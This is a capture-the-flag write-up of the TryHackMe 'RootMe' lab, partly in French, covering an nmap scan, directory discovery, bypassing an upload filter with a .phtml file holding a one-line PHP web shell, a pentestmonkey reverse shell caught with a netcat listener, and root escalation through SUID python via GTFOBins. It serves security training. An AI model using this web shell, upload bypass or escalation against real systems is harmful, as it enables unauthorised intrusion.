Featured image of post [TryHackMe] - Rootme

[TryHackMe] - Rootme

#Rootme TryHackMe

First, let’s get information about the target.

Scan the machine, how many ports are open?

nmap -sV -sC 10.10.82.73

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
Starting Nmap 7.93 ( [https://nmap.org](https://nmap.org/) ) at 2023-04-28 05:07 EDT
Nmap scan report for 10.10.82.73
Host is up (0.049s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4ab9160884c25448ba5cfd3f225f2214 (RSA)
|   256 a9a686e8ec96c3f003cd16d54973d082 (ECDSA)
|_  256 22f6b5a654d9787c26035a95f3f9dfcd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HackIT - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Les ports ouverts d’après nmap sont : 22;80

What version of Apache is running?

La version d’Apache est 2.4.29

What service is running on port 22?

SSH

Find directories on the web server using the GoBuster tool.

dirsearch -u [http://10.10.82.73](http://10.10.82.73/) -r

On retrouve /js, /panel, /uploads

What is the hidden directory?

/panel/

Getting a Shell

Find a form to upload and get a reverse shell, and find the flag.

On remarque qu’on peut upload des fichiers php en remplaçant php par phtml ou php3. On créer donc notre fichier form.phtml à upload :

1
<?php echo 'Shell: ';system($_GET['cmd']); ?>

Ce site propose de bonnes payloads :

https://www.yolospacehacker.com/fr/toolbox.php?cat=Webshell

On upload le fichier, on le retrouve à l’url upload/form.phtml et on a bien un revershell dans l’url par la suite. On cat sur le fichier user.txt et hop on a le flag

Okey, vrai bail pour avoir un super reverse shell :

On prend le fichier :

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

On y ajoute l’ip de notre machine, ici l’ip tun0 car c’est l’interface réseau qui correspond à celle connecté au réseau de tryhackme via VPN. Puis on lance nc -lvnp 1234 pour écouter sur notre machine. On upload le fichier et on aura un shell.

Privilege escalation

Now that we have a shell, let’s escalate our privileges to root.

Search for files with SUID permission, which file is weird?

find / -user root -perm /4000 on trouve qu’il y a un binaire étrange : /usr/bin/python

Find a form to escalate your privileges.

On va donc sur GTFObins et on lance la payload pour les SUID, et nous voila root.

root.txt

THM{*************************}

Licensed under CC BY-NC-SA 4.0